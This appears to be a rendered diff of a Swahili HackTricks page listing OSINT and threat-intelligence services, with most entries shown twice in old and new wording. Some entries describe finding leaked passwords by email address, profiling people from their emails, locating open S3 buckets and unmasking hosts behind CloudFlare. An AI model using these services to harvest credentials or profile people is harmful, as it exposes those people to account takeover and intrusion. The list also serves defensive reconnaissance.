* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
|
||||
# [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
Unaweza kuuliza ikiwa anwani ya IP inahusiana na shughuli za shaka/zenye nia mbaya. Bure kabisa.
|
||||
|
||||
Unaweza kuuliza ikiwa anwani ya IP inahusiana na shughuli za shaka/hasidi. Bure kabisa.
|
||||
## [**BotScout**](http://botscout.com/api.htm)
|
||||
|
||||
# [**BotScout**](http://botscout.com/api.htm)
|
||||
Angalia ikiwa anwani ya IP inahusiana na boti ambao hujisajili akaunti. Inaweza pia kuangalia majina ya watumiaji na barua pepe. Awali ni bure.
|
||||
|
||||
Angalia ikiwa anwani ya IP inahusiana na boti ambayo hujisajili akaunti. Inaweza pia kuangalia majina ya mtumiaji na barua pepe. Awali ni bure.
|
||||
## [Hunter](https://hunter.io/)
|
||||
|
||||
# [Hunter](https://hunter.io/)
|
||||
|
||||
Pata na thibitisha barua pepe.
|
||||
Ombi za API za bure, kwa zaidi unahitaji kulipa.
|
||||
Pata na thibitisha barua pepe.\
|
||||
Baadhi ya maombi ya API ni bure, kwa zaidi unahitaji kulipa.\
|
||||
Biashara?
|
||||
|
||||
# [AlientVault](https://otx.alienvault.com/api)
|
||||
## [AlientVault](https://otx.alienvault.com/api)
|
||||
|
||||
Pata shughuli zenye madhara zinazohusiana na anwani za IP na Viteule. Bure.
|
||||
Pata shughuli zenye nia mbaya zinazohusiana na anwani za IP na Viteuzi. Bure.
|
||||
|
||||
# [Clearbit](https://dashboard.clearbit.com/)
|
||||
## [Clearbit](https://dashboard.clearbit.com/)
|
||||
|
||||
Pata data za kibinafsi zinazohusiana na barua pepe \(profaili kwenye majukwaa mengine\), kikoa \(habari za msingi za kampuni, barua pepe na watu wanaofanya kazi\) na kampuni \(pata habari za kampuni kutoka kwa barua\).
|
||||
Unahitaji kulipa ili ufikie uwezekano wote.
|
||||
Pata data za kibinafsi zinazohusiana na barua pepe (profaili kwenye majukwaa mengine), kikoa (habari msingi za kampuni, barua pepe na watu wanaofanya kazi) na makampuni (pata habari za kampuni kutoka kwa barua pepe).\
|
||||
Unahitaji kulipa ili ufikie fursa zote.\
|
||||
Biashara?
|
||||
|
||||
# [BuiltWith](https://builtwith.com/)
|
||||
## [BuiltWith](https://builtwith.com/)
|
||||
|
||||
Teknolojia zinazotumiwa na wavuti. Ghali...
|
||||
Teknolojia zinazotumiwa na wavuti. Ghali...\
|
||||
Biashara?
|
||||
|
||||
# [Fraudguard](https://fraudguard.io/)
|
||||
## [Fraudguard](https://fraudguard.io/)
|
||||
|
||||
Angalia ikiwa mwenyeji \(kikoa au IP\) unahusiana na shughuli za shaka/hasidi. Ina ufikiaji fulani wa API bure.
|
||||
Angalia ikiwa mwenyeji (kikoa au IP) unahusiana na shughuli za shaka/zenye nia mbaya. Ina ufikiaji fulani wa API bure.\
|
||||
Biashara?
|
||||
|
||||
# [FortiGuard](https://fortiguard.com/)
|
||||
## [FortiGuard](https://fortiguard.com/)
|
||||
|
||||
Angalia ikiwa mwenyeji \(kikoa au IP\) unahusiana na shughuli za shaka/hasidi. Ina ufikiaji fulani wa API bure.
|
||||
Angalia ikiwa mwenyeji (kikoa au IP) unahusiana na shughuli za shaka/zenye nia mbaya. Ina ufikiaji fulani wa API bure.
|
||||
|
||||
# [SpamCop](https://www.spamcop.net/)
|
||||
## [SpamCop](https://www.spamcop.net/)
|
||||
|
||||
Inaonyesha ikiwa mwenyeji unahusiana na shughuli za barua taka. Ina ufikiaji fulani wa API bure.
|
||||
|
||||
# [mywot](https://www.mywot.com/)
|
||||
## [mywot](https://www.mywot.com/)
|
||||
|
||||
Kulingana na maoni na vipimo vingine, pata ikiwa kikoa kina habari za shaka/hasidi.
|
||||
Kulingana na maoni na vipimo vingine, pata ikiwa kikoa kina habari za shaka/zenye nia mbaya.
|
||||
|
||||
# [ipinfo](https://ipinfo.io/)
|
||||
## [ipinfo](https://ipinfo.io/)
|
||||
|
||||
Inapata habari za msingi kutoka kwa anwani ya IP. Unaweza kujaribu hadi 100K/mwezi.
|
||||
Inapata habari msingi kutoka kwa anwani ya IP. Unaweza kufanya majaribio hadi 100K/mwezi.
|
||||
|
||||
# [securitytrails](https://securitytrails.com/app/account)
|
||||
## [securitytrails](https://securitytrails.com/app/account)
|
||||
|
||||
Jukwaa hili hutoa habari kuhusu vikoa na anwani za IP kama vikoa ndani ya IP au kwenye seva ya kikoa, vikoa vilivyomilikiwa na barua pepe \(pata vikoa vinavyohusiana\), historia ya IP ya vikoa \(pata mwenyeji nyuma ya CloudFlare\), vikoa vyote vinavyotumia mtoaji wa majina....
|
||||
Jukwaa hili hutoa habari kuhusu vikoa na anwani za IP kama vikoa ndani ya IP au kwenye seva ya kikoa, vikoa vilivyomilikiwa na barua pepe (pata vikoa vinavyohusiana), historia ya IP ya vikoa (pata mwenyeji nyuma ya CloudFlare), vikoa vyote vinavyotumia mtoaji wa majina....\
|
||||
Una ufikiaji fulani wa bure.
|
||||
|
||||
# [fullcontact](https://www.fullcontact.com/)
|
||||
## [fullcontact](https://www.fullcontact.com/)
|
||||
|
||||
Inaruhusu kutafuta kwa barua pepe, kikoa au jina la kampuni na kupata habari "binafsi" zinazohusiana. Pia inaweza kuthibitisha barua pepe. Kuna ufikiaji fulani wa bure.
|
||||
|
||||
# [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
## [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
|
||||
Maelezo mengi kutoka kwa vikoa na anwani za IP hata katika toleo la bure/jumuiya.
|
||||
|
||||
# [\_IntelligenceX](https://intelx.io/)
|
||||
## [\_IntelligenceX](https://intelx.io/)
|
||||
|
||||
Tafuta Viteule, Anwani za IP na barua pepe na pata habari kutoka kwa mizunguko. Ina ufikiaji fulani wa bure.
|
||||
Tafuta Vikoa, Anwani za IP na barua pepe na pata habari kutoka kwa mizunguko. Ina ufikiaji fulani wa bure.
|
||||
|
||||
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
## [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
|
||||
Tafuta kwa IP na kukusanya habari zinazohusiana na shughuli za shaka. Kuna ufikiaji fulani wa bure.
|
||||
|
||||
# [Greynoise](https://viz.greynoise.io/)
|
||||
## [Greynoise](https://viz.greynoise.io/)
|
||||
|
||||
Tafuta kwa IP au safu ya IP na pata habari kuhusu IPs zinazoscan mtandao. Ufikiaji wa siku 15 bure.
|
||||
|
||||
# [Shodan](https://www.shodan.io/)
|
||||
## [Shodan](https://www.shodan.io/)
|
||||
|
||||
Pata habari ya uchunguzi wa anwani ya IP. Ina ufikiaji fulani wa api bure.
|
||||
Pata habari ya uchunguzi wa anwani ya IP. Ina ufikiaji fulani wa API bure.
|
||||
|
||||
# [Censys](https://censys.io/)
|
||||
## [Censys](https://censys.io/)
|
||||
|
||||
Sawa sana na shodan
|
||||
|
||||
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
## [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||
|
||||
Pata vikapu vya S3 vilivyo wazi kwa kutafuta kwa neno muhimu.
|
||||
|
||||
# [Dehashed](https://www.dehashed.com/data)
|
||||
## [Dehashed](https://www.dehashed.com/data)
|
||||
|
||||
Pata siri zilizovuja za barua pepe na hata vikoa
|
||||
Pata siri zilizovuja za barua pepe na hata vikoa\
|
||||
Biashara?
|
||||
|
||||
# [psbdmp](https://psbdmp.ws/)
|
||||
## [psbdmp](https://psbdmp.ws/)
|
||||
|
||||
Tafuta pastebins ambapo barua pepe ilionekana. Biashara?
|
||||
|
||||
# [emailrep.io](https://emailrep.io/key)
|
||||
## [emailrep.io](https://emailrep.io/key)
|
||||
|
||||
Pata sifa ya barua.
|
||||
Biashara?
|
||||
Pata sifa ya barua. Biashara?
|
||||
|
||||
# [ghostproject](https://ghostproject.fr/)
|
||||
## [ghostproject](https://ghostproject.fr/)
|
||||
|
||||
Pata nywila kutoka kwa barua pepe zilizovuja. Biashara?
|
||||
|
||||
# [Binaryedge](https://www.binaryedge.io/)
|
||||
## [Binaryedge](https://www.binaryedge.io/)
|
||||
|
||||
Pata habari muhimu kutoka kwa IPs
|
||||
|
||||
# [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
## [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
|
||||
Tafuta kwa kikoa na barua pepe na pata ikiwa ilikuwa imevunjwa na nywila. Biashara?
|
||||
Tafuta kwa kikoa na barua pepe na pata ikiwa ilikuwa imepwned na nywila. Biashara?
|
||||
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(katika chombo cha biashara?\)
|
||||
### [IP2Location.io](https://www.ip2location.io/)
|
||||
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) \(katika chombo cha biashara?\)
|
||||
Inagundua geolokesheni ya IP, kituo cha data, ASN na hata habari ya VPN. Inatoa maswali 30K bure kwa mwezi.
|
||||
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(katika chombo cha biashara?\)
|
||||
|
||||
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)(katika chombo cha biashara?)
|
||||
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) (katika chombo cha biashara?)
|
||||
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) (katika chombo cha biashara?)
|
||||
|
|
Loading…
Reference in a new issue